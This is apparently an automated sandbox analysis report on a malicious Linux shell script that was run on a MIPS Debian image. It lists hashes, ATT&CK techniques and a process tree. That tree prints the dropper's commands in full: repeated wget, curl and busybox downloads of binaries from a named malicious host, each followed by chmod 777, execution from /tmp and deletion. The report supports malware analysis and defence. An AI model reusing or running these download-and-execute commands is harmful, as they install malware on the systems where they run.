df8e28c2a8ae831603cc49b28ba8e1eeedcb77793706d1f3af46f0a4841392ed

Analysis

max time kernel
150s
max time network
49s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/10/2024, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
df8e28c2a8ae831603cc49b28ba8e1eeedcb77793706d1f3af46f0a4841392ed.sh
Size 10KB
Sample241028-d3b65azelk
SHA256 df8e28c2a8ae831603cc49b28ba8e1eeedcb77793706d1f3af46f0a4841392ed
MD5 399a7d06835d26e5c923f62134f59809
SHA1 711d4006529a64d9d466292f66cf5264711c93a8
SHA512 1f171cbaa7ffa9b3fcc6713ad3ac0de6c29ed325a63fa0de231bc6493bd709f54245116bbc9e2dabbaa5c0f95751de7ef56b599de61e9ee7c85de29969e1e8d8
SSDEEP 192:Oa3WKpe379U8G8C8uBpt4zvUlt0N1WfjIQL0zvUltS8G8C8uBpcN1Wfj2la3T370:OVKpe379U8G8C8uBptUN1WfjIQLu8G8x
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
779	chmod
801	chmod
735	chmod
746	chmod
753	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms	736	GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
/tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt	747	zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
/tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF	754	xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
/tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs	780	CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
/tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa	803	jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	curl
758	wget
775	busybox
732	busybox
749	wget
763	curl
788	curl
797	busybox
814	curl
807	wget
715	wget
724	curl
740	wget
745	busybox
750	curl
752	busybox
784	wget

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs	curl
File opened for modification	/tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa	curl
File opened for modification	/tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms	curl
File opened for modification	/tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt	curl
File opened for modification	/tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF	curl

/tmp/df8e28c2a8ae831603cc49b28ba8e1eeedcb77793706d1f3af46f0a4841392ed.sh
/tmp/df8e28c2a8ae831603cc49b28ba8e1eeedcb77793706d1f3af46f0a4841392ed.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  - System Network Configuration Discovery
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  - System Network Configuration Discovery
  PID:732
- /bin/chmod
  chmod 777 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  ./GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  - System Network Configuration Discovery
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  ./zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  - System Network Configuration Discovery
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  ./xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
  2⤵
  PID:756
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  - System Network Configuration Discovery
  PID:775
- /bin/chmod
  chmod 777 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  ./CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  - System Network Configuration Discovery
  PID:784
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  - System Network Configuration Discovery
  PID:797
- /bin/chmod
  chmod 777 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  ./jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
  2⤵
  PID:805
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:814

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms

Path /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download